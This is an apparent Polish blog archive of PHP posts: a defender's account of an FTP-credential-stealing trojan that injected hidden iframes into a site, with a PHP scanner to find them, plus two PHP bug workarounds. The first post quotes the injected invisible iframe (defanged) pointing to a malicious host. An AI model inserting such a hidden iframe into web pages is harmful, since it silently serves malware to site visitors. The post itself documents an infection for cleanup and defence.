Archive for the 'PHP' Category

iframe hack, czyli włamanie na FTP

Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie.

Również niniejsza strona i nasza główna — ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na ‘index’ pojawił się taki kawałek (dodałem gwiazdkę przed http):

<iframe src="*http://lotante.cn/in.cgi?income38"
width=1 height=1 style="visibility: hidden"></iframe>

Konkretny adres bywa różny, lista podejrzanych domen jest spora. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem NoScript). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. Total Commander w najnowszej wersji (7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.

Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające ‘index’ w nazwie i sygnalizujący wystąpienia taga <iframe>. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr depth określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.

< ?
// katalog główny strony
$root = '/public_html';
 
// głębokość sprawdzania w podkatalogach
$depth = empty($_GET['depth']) ? 5 : $_GET['depth'];
 
// uruchomienie
digdir($root, $depth);
 
// rekurencyjna funkcja sprawdzająca
function digdir($dir, $level){
	if($level <= 0) return false;
	$handle = opendir($dir);
		while($plik = readdir($handle)){
			$path = "$dir/$plik";
			if(substr($plik, 0, 1)!="."){
				//$data = date("Y-m-d", filemtime($path));
				//$prawa = decoct(fileperms($path));
 
				if(!is_dir($path)){
					//$rozmiar = filesize($path);
					if(preg_match('/index/', $plik)){
						$contents = file_get_contents($path);
						if(preg_match('/iframe/', $contents)) echo "znaleziono iframe w $path<br/>";
					}
				} else {
					digdir($path, $level - 1);
				}			
			}
		}
	closedir($handle);	
}
 
?>

WIELKIE LITERY po dekodowaniu e-maila przez PHP

Jest bug w PHP 5.2.4 w funkcji imap_utf8, który powoduje, że wszystkie zwracane teksty są pisane wielkimi literami. Bug poprawiono w kolejnych wersjach rozszerzenia, ale nie wszyscy mogą łatwo zaktualizować sobie PHP ;). Dość łatwe obejście zaproponowano na tym forum, czyli zamiast:

$subject = imap_utf8($headers-&gt;Subject);

piszemy:

$subject = iconv_mime_decode($header-&gt;subject,0,"UTF-8");

zakładając oczywiście że mamy dostęp do iconv.

pusta tablica $_POST w PHP

Dość podstępny objaw, tym razem w PHP, powoduje że nie jest wypełniana tablica/zmienna globalna $_POST (jak i $_REQUEST po przyjęciu danych np. z formularza. Obejście jest mniej więcej takie:

/** obejście buga w PHP
*     nie wypełaniana jest tablica $_POST
*/
$pattern = “/\n/”;
$replace = “&”;
$raw = preg_replace($pattern, $replace, $GLOBALS['HTTP_RAW_POST_DATA']);
if (!empty($raw) && !count($_POST))
parse_str($raw, $_POST);

Powód? wg www.bradino.com nierozpoznany typ danych formularza.

« Previous Page